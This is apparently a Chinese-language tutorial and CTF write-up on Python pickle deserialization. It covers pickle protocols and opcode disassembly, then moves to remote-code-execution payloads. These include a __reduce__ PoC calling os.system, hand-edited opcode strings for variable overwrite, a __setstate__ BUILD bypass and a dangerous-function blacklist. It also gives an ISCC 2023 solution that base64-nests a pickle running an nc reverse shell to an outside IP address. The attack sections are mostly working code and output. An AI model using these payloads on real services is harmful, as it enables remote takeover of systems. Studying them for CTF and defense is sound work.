前言

与php不同的是,python作为脚本语言通过import导入模块(包含类),相比PHP只能利用代码中存在的类和内置类,python反序列化就更加灵活了

Pickle模块

基础使用

一、dump()方法序列化

pickle.dump(obj, file, [,protocol])

注释:序列化对象,将对象obj保存到文件file中去。
file表示保存到的类文件对象,file必须有write()接口,file可以是一个以’w’打开的文件或者是一个StringIO对象,也可以是任何可以实现write()接口的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
from io import StringIO
# 定义一个简单的 Python 对象
data = {'a': 1, 'b': 2, 'c': 3}
# 序列化该对象为字节流
files = StringIO()
pickler = pickle.Pickler(files)
pickler.dump(data)
strs = files.getvalue()
# 反序列化字节流为 Python 对象
files = StringIO(strs)
unpkler = pickle.Unpickler(files)
new_data = unpkler.load()
# 输出反序列化后的对象
print(new_data) # {'a': 1, 'b': 2, 'c': 3}

参数protocol是序列化模式
protocol的值还可以是1和2(1和2表示以二进制的形式进行序列化。其中,1是老式的二进制协议;2是新二进制协议)。
v3版协议添加于Python 3.0,它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4版协议添加于Python 3.4, 它支持存储非常大的对象, 能存储更多种类的对象, 还包括一些针对数据格式的优化, 参阅PEP 3154.
v5版协议添加于Python 3.8, 它支持带外数据, 加速带内数据处理.

1
2
3
4
5
6
7
8
9
import pickle
class People(object):
def __init__(self,name = "mayylu"):
self.name = name
def say(self):
print("Helloworld")
a=People()
for i in range(0,6):
print(pickle.dumps(a,protocol=4))
1
2
3
4
5
6
b'ccopy_reg\n_reconstructor\np0\n(c__main__\nPeople\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVname\np6\nVmayylu\np7\nsb.'
b'ccopy_reg\n_reconstructor\nq\x00(c__main__\nPeople\nq\x01c__builtin__\nobject\nq\x02Ntq\x03Rq\}q\x05X\x04\x00\x00\x00nameq\x06X\x06\x00\x00\x00mayyluq\x07sb.'
b'\x80\x02c__main__\nPeople\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00mayyluq\x04sb.'
b'\x80\x03c__main__\nPeople\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00mayyluq\x04sb.'
b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06People\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x06mayylu\x94sb.'
b'\x80\x05\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06People\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x06mayylu\x94sb.'

二、load()方法反序列化

pickle.load(file)

注释:反序列化对象,将文件中的数据解析为一个python对象。file中有read()接口和readline()接口

三、loads()和dumps()
data_dumps =pickle.dumps(obj,[,protocol])将对象obj对象序列化并返回一个byte对象
data=pickle.loads(data_dumps )从字节对象中读取被封装的对象,并返回

不需要文件流

pickletools调试器

以下对v3协议进行简单的分析

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import pickletools

class dairy():
def __init__(self):
self.value1 = 'hh'
self.value2 = 123

user = dairy()
y = pickle.dumps(user,protocol=3)
print(y)
pickletools.dis(y)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01}q\x02(X\x06\x00\x00\x00value1q\x03X\x02\x00\x00\x00hhq\x04X\x06\x00\x00\x00value2q\x05K{ub.'

0: \x80 PROTO 3 //版本说明
2: c GLOBAL '__main__ dairy' //c连续读取两个字符串,module和name,以\n分隔,一块压进栈
18: q BINPUT 0 //当前栈栈顶复制一份到储存区
20: ) EMPTY_TUPLE //把一个空的tuple压入当前栈(即参数args)
21: \x81 NEWOBJ //从栈中弹出一个args和一个class,然后利用这个args实例化class,把得到的instance压进栈
22: q BINPUT 1
24: } EMPTY_DICT //把一个空的dict压进栈
25: q BINPUT 2
27: ( MARK //(标记
28: X BINUNICODE 'value1' //BINUNICODE在序列化时会将Unicode字符串转换为UTF-8编码的字节串,标志符位X,并再其后加上一个字节数前缀表示字节串长度,
39: q BINPUT 3
41: X BINUNICODE 'hh'
48: q BINPUT 4 //无关紧要,通过用pickletools.optimize函数处理后,会被省略但并不影响反序列化
50: X BINUNICODE 'value2'
61: q BINPUT 5
63: K BININT1 123
65: u SETITEMS (MARK at 27) //将任意数量的键值对添加到现有字典中
66: b BUILD
67: . //.点号是结束符
highest protocol among opcodes = 2

__reduce__ 万恶之源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#poc
import pickle
import pickletools
import os
class dairy():
def __init__(self):#加不加无所谓
self.value1 = 'hh'
self.value2 = 'xx'
def __reduce__(self):
a = 'dir'
return (os.system,(a,)) # __reduce__ must return a string or tuple
user = dairy()
y = pickle.dumps(user,protocol=3)
print(y)
pickletools.dis(y)

发现会生成完全不一样的结果

1
2
3
4
5
6
7
8
9
10
11
12
b'\x80\x03cnt\nsystem\nq\x00X\x03\x00\x00\x00dirq\x01\x85q\x02Rq\x03.'
0: \x80 PROTO 3
2: c GLOBAL 'nt system' //c连续读取两个字符串,一块压进栈
13: q BINPUT 0
15: X BINUNICODE 'dir'
23: q BINPUT 1
25: \x85 TUPLE1
26: q BINPUT 2
28: R REDUCE
29: q BINPUT 3
31: . STOP
highest protocol among opcodes = 2

将上面生成的结果反序列化,即使没有__reduce__方法也可以执行

1
2
3
4
5
6
7
8
9
import pickle
import pickletools
import os
class mayylu():
def __init__(self):
self.value1 = 'hh'
self.value2 = 'xx'

y = pickle.loads(b'\x80\x03cnt\nsystem\nq\x00X\x03\x00\x00\x00dirq\x01\x85q\x02Rq\x03.')

如何过滤掉reduce呢?由于__reduce__方法对应的操作码是R,只需要把操作码R过滤掉就行了。这个可以很方便地利用pickletools.genops来实现。

c指令实现变量覆盖

c指令后面跟的是模块名和类名,可以利用c指令调用任意值

1
2
3
4
5
6
7
8
9
10
11
import pickle, pickletools
import mabaoguo #未知
class Member:
def __init__(self):
self.name = "mabaoguo"
self.random = 'fbiylxuoktjpesc'
self.gongfu = '123'

result = pickle.loads(result)
if result.name == 'mabaoguo' and result.random == mabaoguo.random and result.gongfu == mabaoguo.gongfu:
return flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
修改前:
\x80\x03c__main__\nMember\n)\x81}(X\x04\x00\x00\x00name
X\x08\x00\x00\x00mabaoguo
X\x06\x00\x00\x00random
X\x0f\x00\x00\x00fbiylxuoktjpesc
X\x06\x00\x00\x00gongfu
X\x03\x00\x00\x00123ub.

0: \x80 PROTO 3
2: c GLOBAL '__main__ Member'
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: } EMPTY_DICT
22: ( MARK
23: X BINUNICODE 'name'
32: X BINUNICODE 'mabaoguo'
45: X BINUNICODE 'random'
56: X BINUNICODE 'fbiylxuoktjpesc'
76: X BINUNICODE 'gongfu'
87: X BINUNICODE '123'
95: u SETITEMS (MARK at 22)
96: b BUILD
97: . STOP
highest protocol among opcodes = 2


修改后:
\x80\x03c__main__\nMember\n)\x81}(X\x04\x00\x00\x00name
X\x08\x00\x00\x00mabaoguo
X\x06\x00\x00\x00random
cmabaoguo\nrandom\n
X\x06\x00\x00\x00gongfu
cmabaoguo\ngongfu\nub.

0: \x80 PROTO 3
2: c GLOBAL '__main__ Member'
20: \x81 NEWOBJ
21: } EMPTY_DICT
22: ( MARK
23: X BINUNICODE 'name'
32: X BINUNICODE 'mabaoguo'
45: X BINUNICODE 'random'
56: c GLOBAL 'mabaoguo random'
73: X BINUNICODE 'gongfu'
84: c GLOBAL 'mabaoguo gongfu'
101: u SETITEMS (MARK at 22)
102: b BUILD
103: . STOP
highest protocol among opcodes = 2

BUILD指令绕过

reduce方法是可以执行rce的,那么如果题目中禁用掉了reduce,可以通过{‘setstate‘: os.system}来BUILD这个对象
b'\x80\x03c__main__\ntest\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 0: \x80 PROTO      3
2: c GLOBAL '__main__ test'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: } EMPTY_DICT
22: ( MARK
23: V UNICODE '__setstate__'
37: c GLOBAL 'os system' //即使代码中没有import os,GLOBAL指令也可以自动导入os.system。
48: u SETITEMS (MARK at 22)
49: b BUILD
50: V UNICODE 'whoami'
58: b BUILD
59: . STOP
highest protocol among opcodes = 2

绕过函数黑名单

黑名单

1
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

iscc2023 ISCC内部零元购-2

经检测发现只是简单的黑名单匹配检测,使用base64编码绕过黑名单,再用pickle.load执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

import pickle
import pickletools
import base64
import os
class dairy():
def __reduce__(self):
return (eval, ("__import__('os').system('nc 124.220.165.133 2333 -e/bin/sh')",))
user = dairy()
y = pickle.dumps(user,protocol=3)
y=pickletools.optimize(y)

y=base64.b64encode(y)
print(hex(len(y)).encode())

yy=b'\x80\x03c_pickle\nloads\ncbase64\nb64decode\nX'+b'\x74' +b'\x00\x00\x00'+y+b'\x85R\x85R.'
print(yy)
1
2
3
4
5
6
7
8
9
10
11
12
b'0x74'
b'\x80\x03c_pickle\nloads\ncbase64\nb64decode\nXt\x00\x00\x00gANjYnVpbHRpbnMKZXZhbApYPAAAAF9faW1wb3J0X18oJ29zJykuc3lzdGVtKCduYyAxMjQuMjIwLjE2NS4xMzMgMjMzMyAtZS9iaW4vc2gnKYVSLg==\x85R\x85R.'
0: \x80 PROTO 3
2: c GLOBAL '_pickle loads'
17: c GLOBAL 'base64 b64decode'
35: X BINUNICODE 'gANjYnVpbHRpbnMKZXZhbApYPAAAAF9faW1wb3J0X18oJ29zJykuc3lzdGVtKCduYyAxMjQuMjIwLjE2NS4xMzMgMjMzMyAtZS9iaW4vc2gnKYVSLg=='
156: \x85 TUPLE1
157: R REDUCE
158: \x85 TUPLE1
159: R REDUCE
160: . STOP
highest protocol among opcodes = 2

这里的想法是直接嵌套,没想到就成了

1
2
3
4
5
6
\x80\x03c_pickle\nloads
\ncbase64\nb64decode
\nX\x20\x00\x00\x00gANjbnQKc3lzdGVtClgDAAAAZGlyhVIu
\x85R
\x85R
.